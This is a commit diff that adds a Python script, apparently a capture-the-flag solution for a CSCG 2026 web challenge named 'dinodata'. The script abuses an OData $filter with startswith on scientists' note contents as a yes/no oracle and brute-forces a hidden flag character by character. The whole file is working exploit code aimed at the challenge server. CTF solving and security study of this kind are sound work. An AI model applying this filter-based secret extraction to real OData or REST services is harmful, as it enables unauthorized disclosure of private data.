huge commit

2026/cscg/web/dinodata/leak.py

@@ -0,0 +1,31 @@
+import requests
+import string
+
+BASE_URL = "https://fmv4nqzwd2zvqwkabo2mzq5hd6-8080-dinodata.challenge.cscg.live"
+
+def scientists_with_note_starting(s, prefix):
+    r = s.get(
+        BASE_URL + f"/odata/Scientist?$filter=Notes/any(n: startswith(n/Content, '{prefix}'))"
+    )
+    data = r.json()
+    return len(data.get("value", [])) > 0
+
+with requests.Session() as s:
+    charset = string.ascii_letters + string.digits + "{}_"
+    
+    flag = "dach2026{"
+    
+    print(f"Prefix check: {scientists_with_note_starting(s, flag)}")
+    
+    while True:
+        found = False
+        for c in charset:
+            candidate = flag + c
+            if scientists_with_note_starting(s, candidate):
+                flag = candidate
+                print(f"[+] Flag so far: {flag}")
+                found = True
+                break
+        if not found:
+            print(f"[!] Final flag: {flag}")
+            break